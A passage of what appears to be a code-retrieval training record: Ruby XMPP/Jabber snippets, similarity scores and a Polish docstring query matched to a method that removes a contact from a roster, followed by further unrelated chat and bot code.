list\"\n\t\t\tputs @project.getNiceList\n\n\t\t\t#delete\n\t\t\tputs \"Deleting the project by machinename\"\n\t\t\tdeleted = @project.delete machine\n\t\t\toutput += \"\\nProject deleted: #{deleted}\"\n\t\t\toutput\n\n\t\t# Test all methods in the user crud\n\t\twhen /^testuser$/\n\t\t\toutput = \"Testing the user methods:\"\n\n\t\t\t#add\n\t\t\tputs \"Adding new user\"\n\t\t\tid = @user.add 'autouser', '[email protected]', '[email protected]'\n\t\t\toutput += \"\\nNew user added: #{id}\"\n\n\t\t\t#exists\n\t\t\tputs \"Checking if user exists\"\n\t\t\texists = @user.exists? '[email protected]'\n\t\t\toutput += \"\\nUser exists: #{exists}\"\n\n\t\t\t#getid\n\t\t\tputs \"Getting the users id\"\n\t\t\tid = @user.getId '[email protected]'\n\t\t\toutput += \"\\nThe id is: #{id}\"\n\n\t\t\t#getnick\n\t\t\tputs \"Getting the users nick\"\n\t\t\tnick = @user.getNick '[email protected]'\n\t\t\toutput += \"\\nThe nick is: #{nick}\"\n\n\t\t\t#isrole\n\t\t\tputs \"Checking if the user is role admin\"\n\t\t\trole = @user.isRole? '[email protected]', 'admin'\n\t\t\toutput += \"\\nThe user is admin: #{role}\"\n\n\t\t\tputs \"Checking if the user is role user\"\n\t\t\trole = @user.isRole? '[email protected]', 'user'\n\t\t\toutput += \"\\nThe user is user: #{role}\"\n\n\t\t\t#getrole\n\t\t\tputs \"Getting the users role\"\n\t\t\trole = @user.getRole '[email protected]'\n\t\t\toutput += \"\\nThe users role: #{role}\"\n\n\t\t\t#delete\n\t\t\tputs \"Deleting the user\"\n\t\t\tdeleted = @user.delete 'autouser'\n\t\t\toutput += \"\\nUser deleted: #{deleted}\"\n\t\t\toutput\n\n\t\t# Test all methods in the ticket crud\n\t\twhen /^testticket$/\n\t\t\toutput = \"Testing the ticket methods:\"\n\n\t\t\t#add\n\t\t\tputs \"Adding new ticket\"\n\t\t\tid = @ticket.add 69, \"Automated ticket\", \"this is just an automated ticket\", \"1\", \"bug\"\n\t\t\toutput += \"\\nNew ticket added: #{id}\"\n\n\t\t\t#check if exists id\n\t\t\tputs \"Checking if ticket exists\"\n\t\t\texists = @ticket.exists? id\n\t\t\toutput += \"\\nTicket exists: #{exists}\"\n\n\t\t\t#assign\n\t\t\tputs \"Assigning ticket\"\n\t\t\tassigned = @ticket.assign id, 1\n\t\t\toutput += \"\\nAssigned ticket #{id}: #{assigned}\"\n\n\t\t\t#change status\n\t\t\tputs \"Updating Status\"\n\t\t\tupdated = @ticket.updateStatus id, \"blub\"\n\t\t\toutput += \"\\nUpdated status: #{updated}\"\n\n\t\t\t#get status\n\t\t\tputs \"Getting Status\"\n\t\t\tstatus = @ticket.getStatus id\n\t\t\toutput += \"\\nStatus: #{status}\"\n\n\t\t\t#check if assigned\n\t\t\tputs \"Checking if assigned\"\n\t\t\tassigned = @ticket.assigned? id\n\t\t\toutput += \"\\nAssigned: #{assigned}\"\n\n\t\t\t#unassign\n\t\t\tputs \"Unassigning ticket\"\n\t\t\tunassigned = @ticket.unassign id\n\t\t\toutput += \"\\nUnasigned: #{unassigned}\"\n\n\t\t\t#check if assigned\n\t\t\tputs \"Checking if assigned\"\n\t\t\tassigned = @ticket.assigned? id\n\t\t\toutput += \"\\nAssigned: #{assigned}\"\n\n\t\t\t#delete\n\t\t\tputs \"Deleting ticket\"\n\t\t\tdeleted = @ticket.delete id\n\t\t\toutput += \"\\nTicket deleted: #{deleted}\"\t\t\n\n\t\twhen /^sleep$/\n\t\t\tsleep 20\n\t\t\t\"Returned from sleeping\"\n\n\t\twhen /^time$/\n\t\t\tTime.now.localtime.to_s\n\n\t\twhen /^ping$/\n\t\t\t\"pong\"\n\n\t\twhen /^help$/\n\t\t\thelp\n\n\t\telse\n\t\t\t\"Command not recognized: '#{command}'\"\n\n\t\tend\n\tend",
"def sendChatMessage(a_to, a_text)\n\t\tp 'JabberClient.sendChatMessage'\n\tend",
"def connect\n\t\t# create a jabber client connection\n\t\[email protected]( JABBER_SERVER, JABBER_PORT );\n\t\[email protected](JABBER_PASSWD)\n\n\t\[email protected](Jabber::Presence.new(:chat, 'Birdbox is waiting since ' + Time.now.to_s))\n\n\t\t@jabberchatroom = Jabber::MUC::MUCClient.new(@jabberclient)\n\t\[email protected](Jabber::JID::new( JABBER_CHATROOM + '/' + @jabberclient.jid.node))\n\n\t\t# create a new message object which will be used later on\n\t\t@jabbermsg = Jabber::Message.new( JABBER_TO );\n\t\[email protected] = :chat\n\t\t@jabberReconnect = false\n\t\t@jabberRetryMessage = ''\n\tend",
"def mucs(jid = nil)\n jid ||= \"conference.#{jubjub_jid.domain}\"\n Jubjub::Muc::Collection.new jid, jubjub_connection\n end",
"def show\n @chat = Chat.find(params[:id])\n session[:chat_id] = params[:id]\n @onlineusers = OnlineUser.find_by_user_id(current_user.id)\n if @onlineusers.present?\n @onlineusers.last_seen = Time.now\n if @onlineusers.chat_session.present?\n if (@onlineusers.chat_session).to_i != (session[:chat_id]).to_i\n render :juggernaut => {:type => :send_to_channels, :channels => [@onlineusers.chat_session.to_i] } do |page|\n page.replace_html \"user_#{current_user.id}\", \"<p><b style='color:red'>#{current_user.name}</b></p>\"\n end\n @onlineusers.chat_session = session[:chat_id]\n end\n else\n @onlineusers.chat_session = session[:chat_id]\n @onlineusers.online = 1\n @onlineusers.username = current_user.name ? current_user.name : current_user.login\n end\n @onlineusers.save\n else\n @onlineusers = OnlineUser.new\n @onlineusers.last_seen = Time.now\n @onlineusers.online = 1\n @onlineusers.chat_session = session[:chat_id]\n @onlineusers.username = current_user.name ? current_user.name : current_user.login\n @onlineusers.save\n end\n render :juggernaut => {:type => :send_to_channels, :channels => [session[:chat_id].to_i] } do |page|\n page.insert_html :bottom, 'chat_room', \"<p>#{current_user.login}: Entrou a Sala </p>\"\n page.replace_html \"user_#{current_user.id}\", \"<p><b style='color:green'>#{current_user.name}</b></p>\"\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @chat}\n end\n end",
"def create\n @note = current_user.notes.build(params[:note])\n @attachids = params[:attachments].split(',')\n\n @at_users = @note.summary.scan(/@[a-zA-Z0-9_]+/)\n \n @note.summary = string_replace(3 , html_escape(@note.summary)) # repalce the string\n\n if @note.save\n @at_users.each do |at_user|\n user = User.find_by_sql(\"SELECT users.* FROM users WHERE nickname='#{at_user.from(1)}'\") #check user is exist\n if user.size == 1 #because note can not edit so the create note unexist in message table\n @message = @note.infos.create( {\n :user_id => user[0].id,\n :message => @note,\n :refer => 1\n } )\n broadcast \"/ats/new/#{@message.user_id}\", \"{ note_id: #{@note.id}, meg_type: 'at_in_note' }\"\n end\n end\n @attachids.each do |attachid|\n attach = Attachement.find(attachid)\n attach.note_id = @note.id and attach.save if not attach.nil?\n end\n\n broadcast '/notes/new', %Q/ { nickname: \"#{current_user.nickname}\", status: true } /\n\n cookies[:offset] = cookies[:offset].to_i + 1\n respond_to do |format|\n format.html { redirect_to notes_path, notice: 'Note was successfully created.' }\n format.js \n end\n else\n broadcast '/notes/new', %Q/ { status: false, errors: #{@note.errors.to_json} } /\n respond_to do |format|\n format.html { redirect_to notes_path, notice: 'Note creation was failed.' }\n format.js \n end\n end\n end",
"def setBidireccionalBuddys(userAJid,userBJid,userANick,userBNick,groupForA,groupForB)\n\taddBuddyToRoster(userAJid,userBJid,userBNick,groupForB,\"both\")\n\taddBuddyToRoster(userBJid,userAJid,userANick,groupForA,\"both\")\n\treturn \"Done\"\nend",
"def subscribe_and_configure(form)\n subscribee = connection.jid.bare\n\n iq = connection.iq_stanza({'to'=>jid.bare,'type'=>'set'},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSub},\n x('subscribe','node' => node_id, 'jid'=>subscribee),\n x('options',\n connection.build_submit_form(form)\n )\n )\n )\n\n send_iq_stanza_fibered iq\n end",
"def also_receive_kroogi_notifications_for(uid)\n u = uid.is_a?(User) ? uid.id : uid\n receive_kroogi_notifications_for!(receives_kroogi_notifications_for.map(&:id) + [u])\n end",
"def ajouterJeu( jeu )\n\t\t@jeu = jeu\n\t\[email protected]( self )\n\tend",
"def subscribe_usk(uri, wait = false ,opts ={})\n id = @utils.id_generate\n send_packet @utils.packet_mangler({\"URI\" => uri, \"Identifier\" => id} ,\"SubscribeUSK\")\n id\n end",
"def invent_nick(jid)\n /^([^@]+)/ =~ jid.to_s\n return jid if not $1 or not User.valid_nick?($1)\n return $1 if not get_user_with_nick($1)\n (2 .. 100).each do |i|\n new_nick = \"#{$1}#{i}\"\n return new_nick if not get_user_with_nick(new_nick)\n end\n jid\n end",
"def configure_subscription(form)\n subscribee = connection.jid.bare\n\n iq = connection.iq_stanza({'to'=>jid.bare,'type'=>'set'},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSub},\n x('options',{'node' => node_id, 'jid'=>subscribee},\n connection.build_submit_form(form)\n )\n )\n )\n\n send_iq_stanza_fibered iq\n end",
"def user_id\n child_jingle.user_id\n end",
"def initialize(user, pass, opt = {})\n # parse options\n @opt = DEFAULTS.merge(opt || {})\n\n # enable debugging to stdout\n if @opt['jabber.client.debug']\n ::Jabber.debug = true\n end\n\n # FIXME: this belongs elsewhere\n Thread.abort_on_exception = false\n\n # create new jid and client\n jid = ::Jabber::JID.new(user)\n available = ::Jabber::Presence.new.set_type(:available)\n @client = ::Jabber::Client.new(jid)\n @client.connect\n\n @client.auth(pass)\n @client.send(available)\n\n roster = ::Jabber::Roster::Helper.new(@client)\n\n @client.add_message_callback do |msg|\n next unless msg.type == :chat\n fire('jabber_client_message', msg)\n end\n\n @client.add_presence_callback do |old_p, new_p|\n fire('jabber_client_presence', old_p, new_p)\n end\n\n roster.add_subscription_request_callback do |item, presence|\n from = presence.from\n\n if fire('before_jabber_client_accept_subscription', from)\n roster.accept_subscription(from)\n fire('jabber_client_accept_subscription', from)\n end\n end\n end",
"def update_user(jid, node)\n redis.publish(\"cluster:nodes:#{node}\", {\n from: @cluster.id,\n type: USER,\n jid: jid.to_s\n }.to_json)\n end",
"def nullify_jabber_confirmation\n unconfirm_jabber if saved_change_to_attribute?(:jabber)\n end",
"def got_PRI(message)\n if message['message'] =~ /^join/\n room = message['message'].gsub(/^join/, '').strip\n self.JCH(room)\n elsif message['message'] =~ /^lookup/\n who = message['message'].gsub(/^lookup/, '').strip\n msg = \"[b]#{who}:[/b]\\n\"\n msg += @users[who]['status'] + \"\\n\"\n msg += @users[who]['message'] \n self.PRI(message['character'], msg)\n elsif message['message'] == 'dump'\n print @users.inspect\n elsif message['message'] == 'dumproom'\n @rooms.each { |r|\n puts r\n @rooms[r]['characters'].each {|char|\n puts @users[char]\n } \n }\n elsif message['message'] =~ /^leave/\n if @friends.include? message['character']\n room = message['message'].gsub(/^leave/, '').strip\n self.LCH(room)\n else\n msg = \"I'm sorry, you're not allowed to ask me to leave that room\"\n self.PRI(message['character'], msg)\n end\n else\n msg = \"Bottlebot 1.0 by Jippen Faddoul ( http://github.com/jippen/fchat_bottlebot_ruby )\"\n msg += \"\\nCommands:\\n\"\n msg += \"join <room> - Joins a chatroom (If private, /invite the bot instead)\"\n msg += \"leave <room> - Leaves a chatroom (If private, /invite the bot instead)\"\n self.PRI(message['character'], msg)\n sleep(@msg_flood)\n end\n end",
"def part msg\n msg.connection.channels.each_value do |chan|\n unless chan.get_user(msg.nick_canon) == nil\n return\n end\n end\n\n delete_user msg.nick_canon\n end",
"def take_msg(uid,ch_array, t)\n query_msg(uid, ch_array, t, true)\n end",
"def fb_invite(uid)\n \tuser = current_user.fbpost(uid)\n user.feed!(\n :message => \"Hej, zapraszam Cię na Najsu.pl - dołącz do moich znajomych i zobacz co oglądam!\", \n :link => \"www.najsu.pl\", \n :name => \"Najsu.pl\", \n :description => \"Odkrywaj najciekawsze filmiki w sieci, na świecie i wśród znajomych, udostępniaj swoje znaleziska!\", \n :picture => \"http://www.najsu.pl/assets/faviconBig.png\"\n )\n end",
"def jugada_jugador\n @jugada_jugador\n end",
"def send_data(databuf)\n if active?\n msg = Message.new\n msg.from = @my_jid\n msg.to = @peer_jid\n\n data = msg.add REXML::Element.new('data')\n data.add_namespace NS_IBB\n data.attributes['sid'] = @session_id\n data.attributes['seq'] = @seq_send.to_s\n data.text = Base64::encode64(databuf)\n\n # TODO: Implement AMP correctly\n amp = msg.add REXML::Element.new('amp')\n amp.add_namespace 'http://jabber.org/protocol/amp'\n deliver_at = amp.add REXML::Element.new('rule')\n deliver_at.attributes['condition'] = 'deliver-at'\n deliver_at.attributes['value'] = 'stored'\n deliver_at.attributes['action'] = 'error'\n match_resource = amp.add REXML::Element.new('rule')\n match_resource.attributes['condition'] = 'match-resource'\n match_resource.attributes['value'] = 'exact'\n match_resource.attributes['action'] = 'error'\n\n @stream.send(msg)\n\n @seq_send += 1\n @seq_send = 0 if @seq_send > 65535\n else\n raise 'Attempt to send data when not activated'\n end\n end",
"def sendmsg(type, where, message, chan=nil, ring=0,plain=nil)\n #if !plain\n # p = PirateTranslator.new\n # message = p.translate(message)\n # debug \"Piratized message: #{message}\"\n #end\n super(type,where,message,chan,ring)\n end",
"def subscribe_pubsub(domain, node, jid)\n @pubsub.subscribe(domain, node, jid)\n end",
"def was_removed_contact(jid)\n contact = stream.user.contact(jid)\n raise StanzaErrors::ItemNotFound.new(self, 'modify') unless contact\n\n contact.subscription = 'none'\n contact.ask = nil\n\n storage(stream.user.jid.domain).save_user(stream.user)\n stream.update_user_streams(stream.user)\n end",
"def recipient; end",
"def handle(jid)\n end",
"def configuration_options\n iq = connection.iq_stanza({'to'=>jid.bare},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSubOwner},\n x('configure','node' => node_id)\n )\n )\n\n send_iq_stanza_fibered iq\n end",
"def include_send_uuid\n false\n end",
"def include_send_uuid\n false\n end",
"def include_send_uuid\n false\n end",
"def include_send_uuid\n false\n end",
"def include_send_uuid\n false\n end",
"def compose_message_postuler\n <<-HTML\nAdmin, un nouveau candidat pour le #{short_name}.\n\nPatronyme : #{param :user_patronyme}\nMail : #{param :user_mail}\n\nPrésentation : #{param :user_presentation}\n\nMotivation : #{param :user_motivation}\n\nIl faut lui donner une réponse sous 15 jours.\n HTML\n end",
"def inscription(user) \n @username = user.username\n @email = user.email\n @id = user.id\n mail to: user.email, :subject => \"Welcome !\"\n end",
"def pubsub_subscribed?(domain, node, jid)\n @pubsub.subscribed?(domain, node, jid)\n end",
"def owner(jid,reason=nil,&blk)\n set_affiliation 'owner', jid, reason, &blk\n end",
"def sendStanza(client_info, xml)\n Thread.new{\n client = connect(client_info)#Client.new(JID.new(client_info[:id]))\n #client.connect\n #client.auth(client_info[:psword])\n #client.send(Jabber::Presence.new.set_type(:available))\n begin\n Timeout::timeout(5) {\n client.send_with_id(xml)\n puts \"Stanza sent (1)\"\n }\n rescue Exception => t\n puts t.to_s\n end\n puts \"Stanza sent (2)\"\n }\n end"
] |
[
"0.63847893",
"0.6350276",
"0.6191088",
"0.59735864",
"0.5923016",
"0.5880922",
"0.5790614",
"0.56643784",
"0.56305677",
"0.5549017",
"0.55130744",
"0.54382443",
"0.538942",
"0.53620684",
"0.53390265",
"0.53201026",
"0.5319795",
"0.5295209",
"0.52936625",
"0.52936625",
"0.52936625",
"0.51583844",
"0.5154556",
"0.51481515",
"0.51481515",
"0.51183903",
"0.507886",
"0.50507903",
"0.5009243",
"0.49910638",
"0.4967689",
"0.4962012",
"0.49567407",
"0.49364194",
"0.49105486",
"0.48982564",
"0.48917142",
"0.48562098",
"0.4833724",
"0.48209926",
"0.4819405",
"0.4818307",
"0.4815749",
"0.4791157",
"0.47879088",
"0.47857508",
"0.47421816",
"0.4737011",
"0.4733954",
"0.4728829",
"0.47169793",
"0.47151932",
"0.47063735",
"0.4706033",
"0.4698916",
"0.46937048",
"0.46880773",
"0.46880773",
"0.4686222",
"0.468319",
"0.46827236",
"0.467437",
"0.46596485",
"0.4657161",
"0.46456632",
"0.46287614",
"0.46268088",
"0.46241206",
"0.4620114",
"0.4610527",
"0.4595849",
"0.45956865",
"0.45915973",
"0.45844552",
"0.45805496",
"0.45793283",
"0.45788464",
"0.45784113",
"0.4573722",
"0.45705727",
"0.45705378",
"0.4567314",
"0.45638454",
"0.4558617",
"0.45510143",
"0.45498252",
"0.45400372",
"0.45327187",
"0.45213217",
"0.4519195",
"0.4519",
"0.4519",
"0.4519",
"0.4519",
"0.4519",
"0.45189673",
"0.45166022",
"0.45164046",
"0.4515602",
"0.4513272"
] |
0.6226068
|
2
|
Usuwa kontakt z listy znajomych jid [Jabber::JID] jid kontaktu do usuniecia
|
def usun_z_listy(*jid)
kontakty(*jid) do |usun|
usun.usun_subskrypcje
req=Iq.new_rosterset
req.query.add(Roster::RosterItem.new(usun.jid,nil,:remove))
wyslij(req)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def dodaj_do_listy(*jid)\n\tkontakty(*jid) do |kontakt|\n\t\tnext if subskryp?(kontakt)\n\t\tkontakt.autoryzacja\n\tend\n end",
"def jid; end",
"def add_user(jid)\n users << jid.to_s.downcase\n users.sort!\n users.uniq!\n end",
"def jid=(jid)\n unsubscribe[:jid] = jid\n end",
"def jid=(_arg0); end",
"def jid=(jid)\n attributes[:jid] = jid\n end",
"def [](jid)\n users.find {|user| user.jid == jid }\n end",
"def jid\n JID.new(unsubscribe[:jid])\n end",
"def jid=(jid)\n subscription_node[:jid] = jid\n end",
"def jid\n client.jid\n end",
"def jid\n \"#{@username}@#{@domain}\"\n end",
"def mucs(jid = nil)\n jid ||= \"conference.#{jubjub_jid.domain}\"\n Jubjub::Muc::Collection.new jid, jubjub_connection\n end",
"def loguj(jids,haslo)\n\tjid=JID::new(jids)\n\t@klient=Client::new(jid)\n\[email protected]\n\[email protected](haslo)\n\[email protected](Presence.new.set_type(:available))\n\t@wiadomosci_do_wyslania=Queue.new\n\tdef_callback\n\tsleep(1)\n\tThread.new{\n\t\twhile(true)\n\t\t\tnext if @wiadomosci_do_wyslania.length<1\n\t\t\twiadomosci=[@wiadomosci_do_wyslania.pop]\n\t\t\twiadomosci.each{ |wiadomosc|\n\t\t\t\tif subskryp?(JID::new(wiadomosc[:do]))\n\t\t\t\t\twyslij_wiadomosc(wiadomosc[:do],wiadomosc[:wiadomosc],wiadomosc[:typ])\n\t\t\t\telse\n\t\t\t\t\t@wiadomosci_do_wyslania << wiadomosc\n\t\t\t\tend\n\t\t\t}\n\t\tend\n\t}\n end",
"def set_jid(val)\n self.jid = val\n self\n end",
"def validate_users(jids)\n return [] unless jids\n users = User.by_jid.keys(jids)\n users.map {|u| u.system? ? nil : u.jid }.compact\n end",
"def akceptuj_subskrypcje(jid)\n\troster.accept_subscription(jid)\n end",
"def jid\n JID::new(attributes['jid'])\n end",
"def jid\n JID::new(attributes['jid'])\n end",
"def jid\n JID::new(attributes['jid'])\n end",
"def jid=(j)\n attributes['jid'] = (j ? j.to_s : nil)\n end",
"def [](jid)\n each { |item|\n return(item) if item.jid == jid\n }\n nil\n end",
"def update_user_from_storage(jid)\n jid = Jabber::JID.new(jid) unless jid.kind_of?(Jabber::JID)\n user = @storage.find_user_by_jid(jid.bare)\n connected_resources(jid.bare).each {|c| c.user.update_from(user) }\n end",
"def jid\n (a = attributes['jid']) ? JID.new(a) : nil\n end",
"def initialize(jid)\n super()\n @jid = (jid.kind_of?(JID) ? jid : JID.new(jid.to_s))\n end",
"def update_user_from_storage(jid)\n jid = Jabber::JID.new(jid) unless jid.kind_of?(Jabber::JID)\n user = storage(jid.domain).find_user_by_jid(jid.bare)\n router.connected_resources(jid.bare).each {|c| c.user.update_from(user) }\n end",
"def odrzuc_subskrypcje(jid)\n\troster.decline_subscription(jid)\n end",
"def fNotificationListFrom (email)\n @users.notificationListFrom(email)\n end",
"def remove_user(jid)\n users.delete(jid.to_s.downcase)\n end",
"def add_to_queue\n @list = current_user.list\n if @list.add_job(params[:id])\n respond_to do |format|\n format.json { render :json => @list.jobs }\n end\n else\n flash[:errors] = \"Sorry, something went wrong\"\n redirect_to :back\n end\n end",
"def handle(jid)\n end",
"def jid=(val)\n attributes['jid'] = val.nil? ? nil : val.to_s\n end",
"def jid=(val)\n attributes['jid'] = val.nil? ? nil : val.to_s\n end",
"def jid=(val)\n attributes['jid'] = val.to_s\n end",
"def list_jobs(username, password, uuid = nil)\n jobs = get_json('jobs.json', username, password)\n puts \"\"\n jobs[\"jobs\"].each do |job|\n next if uuid && job['uuid'] != uuid\n if job['jobURL']\n job.merge!(get_json(job['jobURL'], username, password, ''))\n end\n puts summarise_job(job, 2)\n puts \"\"\n end\n del = jobs['delivered']\n puts \"#{del['jobCount']} jobs, #{del['activityCount']} activities delivered since #{del['since']}\"\nend",
"def jid\n JID.new(subscription_node[:jid])\n end",
"def jid=(new_jid)\n Blather.logger.debug \"NEW JID: #{new_jid}\"\n @jid = JID.new new_jid\n end",
"def auto_complete_for_message_to\n q = params[:message][:to] if params[:message]\n render :nothing => true if q.blank?\n @users = User.find(:all, :order => \"login ASC\", :conditions => [\"login LIKE ?\", \"%#{q}%\"], :limit => 10)\n render :inline => \"<%= content_tag(:ul, @users.map { |u| content_tag(:li, h(u.login)) }) %>\"\n end",
"def available_resources(*jid)\n ids = jid.flatten.map {|jid| Jabber::JID.new(jid).bare }\n (clients | bosh_clients).select do |stream|\n stream.available? && ids.include?(stream.user.jid.bare)\n end\n end",
"def getId jid\n\t\tuser = @users.read [\"id\"], [\"jid\", jid]\n\t\tif user.count > 0\n\t\t\tuser[0]['id']\n\t\telse\n\t\t\tnil\n\t\tend\n\tend",
"def getNick jid\n\t\tuser = @users.read [\"nick\"], [\"jid\", jid]\n\t\tif user.count > 0\n\t\t\tuser[0]['nick']\n\t\telse\n\t\t\tnil\n\t\tend\n\tend",
"def full\n jid.full\n end",
"def retrieve_tweet_ids\n imap = Net::IMAP.new('imap.gmail.com', 993, true, nil, false)\n imap.login(@account['credentials']['email_address'], @account['credentials']['email_password'])\n imap.select('INBOX')\n imap.search([\"NOT\",\"SEEN\"]).each do |message_id|\n msg = imap.fetch(message_id, 'RFC822')[0].attr['RFC822']\n # imap.store(message_id, '+FLAGS', [:Seen])\nputs msg\n end \n imap.logout()\n imap.disconnect()\n end",
"def also_receive_kroogi_notifications_for(uid)\n u = uid.is_a?(User) ? uid.id : uid\n receive_kroogi_notifications_for!(receives_kroogi_notifications_for.map(&:id) + [u])\n end",
"def connected_resources(jid)\n jid = Jabber::JID.new(jid) unless jid.kind_of?(Jabber::JID)\n (clients | bosh_clients).select do |stream|\n stream.connected? && jid == (jid.bared? ? stream.user.jid.bare : stream.user.jid)\n end\n end",
"def inspect\n jids = to_a.collect { |item| item.jid.inspect }\n jids.join(', ')\n end",
"def find_user(jid)\n raise 'subclass must implement'\n end",
"def notify_users_and_add_it\n return # disabled for now\n return true if remote?\n User.find_all_by_notify_on_new_torrents(true).each do |user|\n Notifier.send_new(user,self) if user.notifiable_via_jabber?\n user.watch(self) unless user.dont_watch_new_torrents?\n end\n end",
"def email_list\n end",
"def update_user(jid, node)\n redis.publish(\"cluster:nodes:#{node}\", {\n from: @cluster.id,\n type: USER,\n jid: jid.to_s\n }.to_json)\n end",
"def exists? jid\n\t\tuser = @users.read ['id'], ['jid', jid]\n\t\tuser.count > 0 ? true : false\n\tend",
"def personal_pnsqs_in_holder\n if ((@user = User.find_by_id(params[:id])) and (its_me?(@user)))\n\n @pnsqs = @user.privates_all\n\n # Notificaciones leidas\n @user.update_attributes(:notifications_count => 0)\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.js { render }\n end\n\n else\n error404\n end\n end",
"def wyslij_wiadomosc(jid,wiadomosc,typ=:chat)\n\tkontakty(jid) do |znajomy|\n\t\tunless subskryp? znajomy\n\t\t\tdodaj_do_listy(znajomy.jid)\n\t\t\treturn dodaj_do_wyslania_po_akceptacji(znajomy.jid,wiadomosc,typ)\n\t\tend\n\t\twiad=Message.new(znajomy.jid)\n\t\twiad.type=typ\n\t\twiad.body=wiadomosc\n\t\twyslij(wiad)\n\tend\n end",
"def user?(jid)\n users.include?(jid.to_s.downcase)\n end",
"def interested_resources(*jid)\n ids = jid.flatten.map {|jid| Jabber::JID.new(jid).bare }\n (clients | bosh_clients).select do |stream|\n stream.interested? && ids.include?(stream.user.jid.bare)\n end\n end",
"def member(jid,reason=nil,&blk)\n set_affiliation 'member', jid, reason, &blk\n end",
"def dodaj_do_wyslania_po_akceptacji(jid,wiadomosc,typ)\n\twiad={:do => jid, :wiadomosc => wiadomosc, :typ => typ}\n\t@wiadomosci_do_wyslania << wiad\n end",
"def mail_list\n str =\"\"\n self.users.each do |person|\n str << \"#{person.login} <#{person.email}> \\n\"\n end\n str\n end",
"def chat_admins (chatid, bot, message) # Crea un'array con gli amministratori\n nome = \"chat_admins\"\n resp = bot.api.get_chat_administrators(chat_id: chatid)\n arr_adm = resp['result']\n ret = Array.new\n arr_adm.each do |adm|\n temp = {\n 'id' => adm['user']['id'].to_s,\n 'nome' => pulisci(adm['user']['first_name']),\n 'user' => adm['user']['username'],\n 'status' => status(adm['status'])\n }\n ret.push(temp)\n end\n s_log(nome, chatid, bot, message, ret)\n ret\nend",
"def process command, jid\n\t\t# get the jid out of the message\n\t\t# get the message text itself\n\t\t# look up the user role\n\t\trole = 'admin'\n\n\t\t# Switch the commands\n\t\tcase command\n\n\t\t# add user nick [email protected] [email protected]\n\t\twhen /^add user ([a-zA-Z0-9]+) ([a-zA-Z0-9]+\\@{1}([a-zA-Z0-9]*\\.)+([a-zA-Z]+)){1} ([a-zA-Z0-9]+\\@{1}([a-zA-Z0-9]*\\.)+([a-zA-Z]+)){1}/\n\t\t\tvalues = command.split\n\n\t\t\tnick = values[2]\n\t\t\tjid = values[3]\n\t\t\temail = values[4]\n\n\t\t\[email protected] nick, email, jid\n\n\t\t# Add a new project\n\t\twhen /^add pro(ject)? ([a-zA-Z0-9]+) \\\"([a-zA-Z0-9 ]+)\\\" \\\"(.*)\\\"$/\n\t\t\tif role == 'admin'\n\t\t\t\tvalues = command.split \"\\\"\"\n\t\t\t\tvalues.delete_if {|i| i==\" \"}\n\n\t\t\t\tmachinename = values[0].split \" \"\n\t\t\t\tmachinename = machinename[2]\n\t\t\t\ttitle = values[1]\n\t\t\t\tdescription = values[2]\n\n\t\t\t\tadded = @project.add machinename, title, description, nil, nil\n\t\t\t\tif added\n\t\t\t\t\tmsg = \"New project '#{machinename}' has been added\"\n\t\t\t\telse\n\t\t\t\t\tmsg = \"There already is a project with this name.\"\n\t\t\t\tend\n\t\t\t\tmsg\n\t\t\tend\n\n\t\t# Show all projects\n\t\twhen /^pro(jects)?$/\n\t\t\tprojects = @project.getNiceList\n\n\t\t\toutput = \"Projects:\"\n\t\t\tprojects.each do |row|\n\t\t\t\toutput += \"\\n#{row['title']} \\(#{row['machinename']}\\)\\n\"\n\t\t\t\toutput += \"#{row['description']}\\n\"\n\t\t\t\toutput += \"-------------------------------------------\"\n\t\t\tend\n\t\t\toutput = projects.size > 0 ? output : \"There are no projects in the database\"\n\t\t\toutput\n\n\t\t# Delete a project\n\t\twhen /^del(ete)? pro(ject)? ([a-zA-Z0-9]+)$/\n\t\t\tif role == 'admin'\n\t\t\t\tvalues = command.split \" \"\n\t\t\t\tmachinename = values[2]\n\n\t\t\t\tif @project.getId machinename\n\t\t\t\t\[email protected] machinename\n\t\t\t\t\t\"Project '#{machinename}' has been deleted.\"\n\t\t\t\telse\n\t\t\t\t\t\"There is no such project.\"\n\t\t\t\tend\n\t\t\tend\n\n\n\t\t# add tracket machinename \"Some Title\" \"some description text\"\n\t\twhen /^add ([a-zA-Z0-9]+) ([a-zA-Z0-9]+) \\\"([a-zA-Z0-9 ]+)\\\" \\\"(.*)\\\"$/\n\t\t\tvalues = command.split \"\\\"\"\n\t\t\tvalues.delete_if {|i| i == \" \"}\n\n\t\t\tparams = values[0].split \" \"\n\n\t\t\ttracker = params[1]\n\t\t\tmachinename = params[2]\n\t\t\ttitle = values[1]\n\t\t\tdescription = values[2]\n\n\t\t\tpid = @project.getId machinename\n\t\t\tif pid\n\t\t\t\tcid = @user.getId jid\n\n\t\t\t\ttid = @ticket.add pid, title, description, cid, tracker\n\t\t\t\t\"New #{tracker} (##{tid}) has been added to #{machinename}.\"\n\t\t\telse\n\t\t\t\t\"There is no such project.\"\n\t\t\tend\n\n\t\t# show new tickets\n\t\twhen /^n(ew)?$/\n\t\t\ttickets = @ticket.getNew\n\n\t\t\toutput = \"New unassigned tickets:\"\n\t\t\ttickets.each do |ticket|\n\t\t\t\ttid = ticket['id']\n\t\t\t\ttitle = ticket['title']\n\t\t\t\ttracker = ticket['tracker']\n\t\t\t\tpid = ticket['pid']\n\n\t\t\t\tmachinename = @project.getMachinename pid\n\n\t\t\t\toutput += \"\\n##{tid} [#{tracker}] <b>\\\"#{title}\\\"</b> in #{machinename}\"\n\t\t\tend\n\t\t\toutput = tickets.count < 1 ? \"There are no new tickets.\" : output\n\t\t\toutput\n\n\t\twhen /^d(etails)? ([0-9]+)$/\n\t\t\tvalues = command.split \" \"\n\t\t\ttid = values[1]\n\n\t\t\tif @ticket.exists? tid\n\t\t\t\tticket = @ticket.getDetails tid\n\n\t\t\t\ttid = ticket['id']\n\t\t\t\ttitle = ticket['title']\n\t\t\t\tdescription = ticket['description']\n\t\t\t\ttracker = ticket['tracker']\n\t \t\tcreated = ticket['created']\n\t\t\t\tpid = ticket['pid']\n\t\t\t\tcid = ticket['creator']\n\t\t\t\tstatus = ticket['status']\n\n\t\t\t\tmachinename = @project.getMachinename pid\n\t\t\t\tnick = @user.getNickFromId 